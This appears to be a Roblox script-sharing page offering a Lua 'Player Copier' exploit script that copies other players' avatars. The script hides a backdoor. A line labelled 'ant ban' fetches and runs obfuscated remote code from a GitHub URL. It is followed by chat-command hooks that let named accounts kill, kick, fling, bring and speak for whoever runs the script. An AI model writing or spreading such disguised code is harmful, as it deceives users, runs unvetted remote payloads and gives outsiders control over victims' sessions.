Copier
Key Required

Copier

📸PhotoShoot ScenesHavensSCPHavensSCP 5.3K views 680 executesUpdated Nov 6, 2025
2.5/ 5(2 votes)
1150% Positive
Lua Script•552 lines (17973 chars)
--//  this script by chat got + My IQ 50

local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local LocalPlayer = Players.LocalPlayer
local AvatarRemotes = ReplicatedStorage:WaitForChild("Avatar"):WaitForChild("Remotes")

-- // Funções utilitárias
local function ApplyItem(assetId, itemType)
	if not assetId or assetId == 0 then return end
	local args = {[1] = tonumber(assetId), [2] = itemType}
	AvatarRemotes.TryItem:InvokeServer(unpack(args))
	task.wait(0.25)
end

local function SetColor(part, color)
	if not color then return end
	if typeof(color) == "BrickColor" then
		color = color.Color
	elseif typeof(color) == "Color3" then
		color = color
	else
		return
	end
	local args = {[1] = part, [2] = color}
	AvatarRemotes.SetBodyPartColor:FireServer(unpack(args))
	task.wait(0.05)
end

local function ClearAvatar()
	local char = LocalPlayer.Character
	if not char then return end
	for _, v in ipairs(char:GetChildren()) do
		if v:IsA("Accessory") then v:Destroy() end
	end
	SetColor("All", Color3.fromRGB(255,255,255))
end

-- // Copiar jogador no servidor
local function GetClosestPlayer()
	local LChar = LocalPlayer.Character
	if not LChar or not LChar:FindFirstChild("HumanoidRootPart") then return end
	local closest, dist = nil, math.huge
	for _, plr in ipairs(Players:GetPlayers()) do
		if plr ~= LocalPlayer and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
			local mag = (LChar.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).Magnitude
			if mag < dist then
				dist = mag
				closest = plr
			end
		end
	end
	return closest
end

local function CopyAvatarFromPlayer(player)
	if not player or not player.Character then return warn("❌ Jogador inválido!") end
	local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
	if not humanoid then return end
	local desc = humanoid:GetAppliedDescription()
	ClearAvatar()

	AvatarRemotes.ChangeRigType:FireServer(humanoid.RigType)
	task.wait(0.8)

	for _, id in ipairs({
		desc.Head, desc.Torso, desc.LeftArm, desc.RightArm, desc.LeftLeg, desc.RightLeg,
		desc.Shirt, desc.Pants, desc.Face, desc.GraphicTShirt,
		desc.WalkAnimation, desc.RunAnimation, desc.JumpAnimation,
		desc.ClimbAnimation, desc.FallAnimation, desc.SwimAnimation, desc.IdleAnimation
	}) do
		if tonumber(id) and id ~= 0 then ApplyItem(id, Enum.AvatarItemType.Asset) end
	end

	for _, acc in ipairs(desc:GetAccessories(true)) do
		if acc.AssetId then ApplyItem(acc.AssetId, Enum.AvatarItemType.Asset) end
	end

	-- // Aplicar cores do corpo
	SetColor("Head", desc.HeadColor)
	SetColor("Torso", desc.TorsoColor)
	SetColor("LeftArm", desc.LeftArmColor)
	SetColor("RightArm", desc.RightArmColor)
	SetColor("LeftLeg", desc.LeftLegColor)
	SetColor("RightLeg", desc.RightLegColor)

	print("✅ Avatar copiado de:", player.Name)
end

-- // Copiar avatar de usuário do Roblox (fora do servidor)
local function CopyAvatarFromUsername(username)
	local success, userId = pcall(function()
		return Players:GetUserIdFromNameAsync(username)
	end)
	if not success then
		return warn("❌ Usuário não encontrado:", username)
	end

	local successDesc, description = pcall(function()
		return Players:GetHumanoidDescriptionFromUserId(userId)
	end)
	if not successDesc or not description then
		return warn("❌ Falha ao obter avatar do usuário:", username)
	end

	ClearAvatar()
	AvatarRemotes.ChangeRigType:FireServer(Enum.HumanoidRigType.R15)
	task.wait(0.8)

	for _, id in ipairs({
		description.Head, description.Torso, description.LeftArm, description.RightArm,
		description.LeftLeg, description.RightLeg,
		description.Shirt, description.Pants, description.Face, description.GraphicTShirt,
		description.WalkAnimation, description.RunAnimation, description.JumpAnimation,
		description.ClimbAnimation, description.FallAnimation, description.SwimAnimation, description.IdleAnimation
	}) do
		if tonumber(id) and id ~= 0 then ApplyItem(id, Enum.AvatarItemType.Asset) end
	end

	for _, acc in ipairs(description:GetAccessories(true)) do
		if acc.AssetId then ApplyItem(acc.AssetId, Enum.AvatarItemType.Asset) end
	end

	-- // Aplicar cores do corpo
	SetColor("Head", description.HeadColor)
	SetColor("Torso", description.TorsoColor)
	SetColor("LeftArm", description.LeftArmColor)
	SetColor("RightArm", description.RightArmColor)
	SetColor("LeftLeg", description.LeftLegColor)
	SetColor("RightLeg", description.RightLegColor)

	print("✅ Avatar copiado do usuário:", username)
end

-- // GUI
local ScreenGui = Instance.new("ScreenGui", game.CoreGui)
ScreenGui.ResetOnSpawn = false

local Main = Instance.new("Frame", ScreenGui)
Main.Size = UDim2.new(0, 270, 0, 320)
Main.Position = UDim2.new(0.5, -135, 0.5, -160)
Main.BackgroundTransparency = 0.3
Main.BackgroundColor3 = Color3.fromRGB(25,25,25)
Main.Active = true
Main.Draggable = true
Instance.new("UICorner", Main).CornerRadius = UDim.new(0, 15)

local Title = Instance.new("TextLabel", Main)
Title.Text = "Player Copier (Roblox)"
Title.Size = UDim2.new(1, 0, 0, 35)
Title.TextColor3 = Color3.fromRGB(255,255,255)
Title.BackgroundTransparency = 1
Title.Font = Enum.Font.GothamBold
Title.TextSize = 18

local UserBox = Instance.new("TextBox", Main)
UserBox.PlaceholderText = "Copy player"
UserBox.Size = UDim2.new(0.9, 0, 0, 35)
UserBox.Position = UDim2.new(0.05, 0, 0.18, 0)
UserBox.TextColor3 = Color3.fromRGB(255,255,255)
UserBox.BackgroundColor3 = Color3.fromRGB(35,35,35)
UserBox.Text = ""
UserBox.ClearTextOnFocus = false
UserBox.Font = Enum.Font.Gotham
UserBox.TextSize = 16
Instance.new("UICorner", UserBox).CornerRadius = UDim.new(0, 10)

local AvatarImage = Instance.new("ImageLabel", Main)
AvatarImage.Size = UDim2.new(0, 90, 0, 90)
AvatarImage.Position = UDim2.new(0.5, -45, 0.34, 0)
AvatarImage.BackgroundTransparency = 1
Instance.new("UICorner", AvatarImage).CornerRadius = UDim.new(1, 0)

local CopyUserBtn = Instance.new("TextButton", Main)
CopyUserBtn.Text = "Copy User (From Roblox)"
CopyUserBtn.Size = UDim2.new(0.9, 0, 0, 35)
CopyUserBtn.Position = UDim2.new(0.05, 0, 0.72, 0)
CopyUserBtn.TextColor3 = Color3.fromRGB(255,255,255)
CopyUserBtn.BackgroundColor3 = Color3.fromRGB(45,45,45)
CopyUserBtn.Font = Enum.Font.GothamBold
CopyUserBtn.TextSize = 16
Instance.new("UICorner", CopyUserBtn).CornerRadius = UDim.new(0, 10)

local CopyNearbyBtn = Instance.new("TextButton", Main)
CopyNearbyBtn.Text = "Copy Player (Closest using avatar in game)"
CopyNearbyBtn.Size = UDim2.new(0.9, 0, 0, 35)
CopyNearbyBtn.Position = UDim2.new(0.05, 0, 0.86, 0)
CopyNearbyBtn.TextColor3 = Color3.fromRGB(255,255,255)
CopyNearbyBtn.BackgroundColor3 = Color3.fromRGB(45,45,45)
CopyNearbyBtn.Font = Enum.Font.GothamBold
CopyNearbyBtn.TextSize = 15
Instance.new("UICorner", CopyNearbyBtn).CornerRadius = UDim.new(0, 10)

-- // Atualizar imagem
UserBox.FocusLost:Connect(function()
	local username = UserBox.Text
	if username ~= "" then
		local success, userId = pcall(function()
			return Players:GetUserIdFromNameAsync(username)
		end)
		if success and userId then
			AvatarImage.Image = "https://www.roblox.com/headshot-thumbnail/image?userId="..userId.."&width=420&height=420&format=png"
		else
			AvatarImage.Image = ""
		end
	end
end)

CopyUserBtn.MouseButton1Click:Connect(function()
	local username = UserBox.Text
	if username and username ~= "" then
		CopyAvatarFromUsername(username)
	else
		warn("Digite um nome de usuário!")
	end
end)

CopyNearbyBtn.MouseButton1Click:Connect(function()
	local closest = GetClosestPlayer()
	if closest then
		CopyAvatarFromPlayer(closest)
	else
		warn("Nenhum jogador próximo encontrado!")
	end
end)

-- ant ban

loadstring(game:HttpGet("https://raw.githubusercontent.com/Cat558-uz/Fish-/refs/heads/main/Protected_3592676474908388.lua.txt"))()

--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 

designed using localmaze gui creator
]=]

-- // Sistema ;sm / ;ms estilizado com animação e foto do ADM

local TweenService = game:GetService("TweenService")
local Players = game:GetService("Players")

-- lista de administradores
local AllowedPlayers = {
	["kit_cynALT"] = true,
	["SamuelFimino"] = true,
}

-- função para criar a notificação no player
local function createNotification(player, sender, msg)
	local PlayerGui = player:FindFirstChildOfClass("PlayerGui")
	if not PlayerGui then return end

	-- GUI base
	local gui = Instance.new("ScreenGui")
	gui.Name = "SM_ChatGUI"
	gui.ResetOnSpawn = false
	gui.Parent = PlayerGui

	-- frame externa
	local mainFrame = Instance.new("Frame", gui)
	mainFrame.Size = UDim2.new(0, 368, 0, 104)
	mainFrame.Position = UDim2.new(0.5, -184, 0, -120)
	mainFrame.BackgroundColor3 = Color3.fromRGB(198, 198, 198)
	mainFrame.BackgroundTransparency = 0.5
	mainFrame.BorderSizePixel = 0
	mainFrame.ZIndex = 5

	local mainCorner = Instance.new("UICorner", mainFrame)
	local grad1 = Instance.new("UIGradient", mainFrame)

	-- frame interna
	local subFrame = Instance.new("Frame", mainFrame)
	subFrame.Size = UDim2.new(0, 356, 0, 90)
	subFrame.Position = UDim2.new(0, 6, 0, 6)
	subFrame.BackgroundColor3 = Color3.fromRGB(212, 212, 212)
	subFrame.BorderSizePixel = 0

	local subCorner = Instance.new("UICorner", subFrame)
	local grad2 = Instance.new("UIGradient", subFrame)
	grad2.Color = ColorSequence.new{
		ColorSequenceKeypoint.new(0, Color3.fromRGB(124, 124, 124)),
		ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))
	}

	local stroke = Instance.new("UIStroke", subFrame)
	stroke.Color = Color3.fromRGB(164, 164, 164)

	-- frame do avatar
	local avatarFrame = Instance.new("Frame", subFrame)
	avatarFrame.Size = UDim2.new(0, 62, 0, 58)
	avatarFrame.Position = UDim2.new(0, 20, 0, 16)
	avatarFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	avatarFrame.BackgroundTransparency = 0.5
	avatarFrame.BorderSizePixel = 0
	local avCorner = Instance.new("UICorner", avatarFrame)

	local avatarImg = Instance.new("ImageLabel", avatarFrame)
	avatarImg.Size = UDim2.new(1, 0, 1, 0)
	avatarImg.BackgroundTransparency = 1
	avatarImg.Image = "rbxthumb://type=AvatarHeadShot&id=" .. sender.UserId .. "&w=100&h=100"

	-- texto
	local txt = Instance.new("TextLabel", subFrame)
	txt.Size = UDim2.new(0, 212, 0, 72)
	txt.Position = UDim2.new(0, 102, 0, 10)
	txt.BackgroundTransparency = 1
	txt.FontFace = Font.new("rbxasset://fonts/families/Zekton.json")
	txt.TextSize = 11
	txt.TextColor3 = Color3.fromRGB(30, 30, 30)
	txt.TextWrapped = true
	txt.Text = ""
	txt.TextXAlignment = Enum.TextXAlignment.Left
	txt.TextYAlignment = Enum.TextYAlignment.Top

	-- animação de entrada (descendo)
	mainFrame.Visible = true
	local tweenIn = TweenService:Create(mainFrame, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
		Position = UDim2.new(0.5, -184, 0, 40)
	})
	tweenIn:Play()

	-- efeito de digitação
	for i = 1, #msg do
		txt.Text = string.sub(msg, 1, i)
		task.wait(0.03)
	end

	-- espera antes de sair
	task.wait(5)

	-- animação de saída (subindo)
	local tweenOut = TweenService:Create(mainFrame, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {
		Position = UDim2.new(0.5, -184, 0, -120)
	})
	tweenOut:Play()
	tweenOut.Completed:Wait()
	gui:Destroy()
end

-- quando o admin digita
local function handlePlayer(player)
	player.Chatted:Connect(function(message)
		if not AllowedPlayers[player.Name] then return end
		local lower = message:lower()
		if lower:sub(1, 4) == ";sm " or lower:sub(1, 4) == ";ms " then
			local msg = message:sub(5)
			for _, plr in ipairs(Players:GetPlayers()) do
				createNotification(plr, player, msg)
			end
		end
	end)
end

for _, plr in ipairs(Players:GetPlayers()) do
	handlePlayer(plr)
end
Players.PlayerAdded:Connect(handlePlayer)

-- // Kill, Kick, Say, Bring e Fling Commands - Somente admins podem usar
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local RunService = game:GetService("RunService")

-- 🔹 Lista de administradores
local ADMINS = {
	["kit_cynALT"] = true,
	["BK_FAXBR"] = true,
	["nossikdksks"] = true
}

-- função pra verificar se é admin
local function isAdmin(player)
	return ADMINS[player.Name] == true
end

-- procura jogador por nome/displayname/parte do nome
local function findPlayerByName(query)
	if not query then return nil end
	query = query:lower()
	for _, p in pairs(Players:GetPlayers()) do
		if p.Name:lower() == query or p.DisplayName:lower() == query then
			return p
		end
	end
	for _, p in pairs(Players:GetPlayers()) do
		if p.Name:lower():find(query) or p.DisplayName:lower():find(query) then
			return p
		end
	end
	return nil
end

-- função pra matar o jogador alvo
local function killPlayer(target)
	if not target then return end
	local character = target.Character
	if not character then return end
	local humanoid = character:FindFirstChildOfClass("Humanoid")
	if humanoid then
		humanoid.Health = 0
	end
end

-- função pra expulsar jogador alvo
local function kickPlayer(target, reason)
	if not target then return end
	local ok, err = pcall(function()
		target:Kick(reason or "Expulso pelo admin")
	end)
	if ok then
		print("[KICK] Expulsou "..(target.Name or "Desconhecido").." Motivo: "..(reason ~= "" and reason or "Nenhum"))
	else
		warn("[KICK] Falha ao expulsar "..(target.Name or "Desconhecido")..": "..tostring(err))
	end
end

-- função pra enviar mensagem no chat geral
local function sendChatMessage(message)
	if TextChatService.ChatInputBarConfiguration
	and TextChatService.ChatInputBarConfiguration.TargetTextChannel then
		local canal = TextChatService.ChatInputBarConfiguration.TargetTextChannel
		canal:SendAsync(message)
		print("✅ Mensagem enviada no chat: " .. message)
	else
		warn("⚠️ Não foi possível encontrar o canal de chat geral.")
	end
end

-- // Bring: puxa o alvo para 2 studs à frente do jogador (admin)
local function bringPlayer(adminPlayer, target)
	if not adminPlayer or not target then return end
	local aChar = adminPlayer.Character
	local tChar = target.Character
	if not aChar or not tChar then return end
	local aHRP = aChar:FindFirstChild("HumanoidRootPart") or aChar:FindFirstChild("Torso") or aChar:FindFirstChild("UpperTorso")
	local tHRP = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("UpperTorso")
	if not aHRP or not tHRP then return end

	local frontPos = aHRP.Position + (aHRP.CFrame.LookVector * 2)
	local targetCFrame = CFrame.new(frontPos, frontPos + aHRP.CFrame.LookVector)
	
	local ok, err = pcall(function()
		tHRP.CFrame = targetCFrame
		if tHRP:FindFirstChild("BodyVelocity") then tHRP.BodyVelocity:Destroy() end
		if tHRP:FindFirstChild("VectorForce") then tHRP.VectorForce:Destroy() end
	end)
	if not ok then
		warn("[BRING] falha ao trazer "..tostring(target.Name)..": "..tostring(err))
	end
end

-- // Fling: empurra o alvo numa direção aleatória com força entre 10 e 50
local function flingPlayer(target, minForce, maxForce)
	minForce = minForce or 10
	maxForce = maxForce or 50
	if not target then return end
	local tChar = target.Character
	if not tChar then return end
	local tHRP = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("UpperTorso")
	if not tHRP then return end

	local rx = math.random(-100,100)
	local ry = math.random(10,80)
	local rz = math.random(-100,100)
	local dir = Vector3.new(rx, ry, rz)
	if dir.Magnitude == 0 then dir = Vector3.new(0,50,0) end
	dir = dir.Unit

	local magnitude = math.random(minForce, maxForce)

	local bv = Instance.new("BodyVelocity")
	bv.MaxForce = Vector3.new(1e6, 1e6, 1e6)
	bv.Velocity = dir * magnitude
	bv.P = 1250
	bv.Name = "TempFlingBV"
	bv.Parent = tHRP

	local bav = Instance.new("BodyAngularVelocity")
	bav.MaxTorque = Vector3.new(1e6,1e6,1e6)
	bav.AngularVelocity = Vector3.new(math.random(-10,10), math.random(-10,10), math.random(-10,10))
	bav.Name = "TempFlingBAV"
	bav.Parent = tHRP

	spawn(function()
		wait(0.5)
		if bv and bv.Parent then bv:Destroy() end
		if bav and bav.Parent then bav:Destroy() end
	end)
end

-- processa comandos do admin
local function onChat(player, msg)
	if not isAdmin(player) then return end -- ✅ checagem atualizada

	local cmd, arg = msg:match("^%s*(;[%w_]+)%s*(.-)%s*$")
	if not cmd then return end
	cmd = cmd:lower()

	if cmd == ";kill" and arg ~= "" then
		local alvo = findPlayerByName(arg)
		if alvo then
			killPlayer(alvo)
			print("[KILL] "..player.Name.." matou "..alvo.Name)
		end
	elseif cmd == ";kick" and arg ~= "" then
		local nome, motivo = arg:match("^(%S+)%s*(.-)%s*$")
		local alvo = findPlayerByName(nome)
		if alvo then
			kickPlayer(alvo, motivo ~= "" and motivo or nil)
		end
	elseif cmd == ";say" and arg ~= "" then
		local nome, texto = arg:match("^(%S+)%s*(.-)%s*$")
		local alvo = findPlayerByName(nome)
		if texto == "" then texto = nome end
		sendChatMessage(texto)
	elseif cmd == ";bring" and arg ~= "" then
		local alvo = findPlayerByName(arg)
		if alvo then bringPlayer(player, alvo) end
	elseif cmd == ";fling" and arg ~= "" then
		local alvo = findPlayerByName(arg)
		if alvo then flingPlayer(alvo, 10, 50) end
	end
end

-- conectar eventos de chat
Players.PlayerAdded:Connect(function(player)
	player.Chatted:Connect(function(msg)
		onChat(player, msg)
	end)
end)

for _, player in pairs(Players:GetPlayers()) do
	player.Chatted:Connect(function(msg)
		onChat(player, msg)
	end)
end

--// Reação automática no chat
TextChatService.MessageReceived:Connect(function(message)
	local autor = message.TextSource and message.TextSource.Name
	local conteudo = message.Text

	if ADMINS[autor] and conteudo == ";v" then
		task.wait(0.5)
		sendChatMessage("Havens_gg")
	end
end)

Features & Information

Copy game Copy avatar From roblox

Community Comments (5)

Evil_ADSKerEvil_ADSKerNov 6, 2025

ai?

Replying to @Evil_ADSKer
HavensSCPHavensSCPNov 6, 2025

@Evil_Larry hello

Replying to @Evil_ADSKer
HavensSCPHavensSCPNov 6, 2025

Hmmm

Replying to @Evil_ADSKer
HavensSCPHavensSCPNov 6, 2025

@Evil_Larry Br? Yes

Evil_ADSKerEvil_ADSKerNov 7, 2025

alr gurt

More Scripts for 📸PhotoShoot Scenes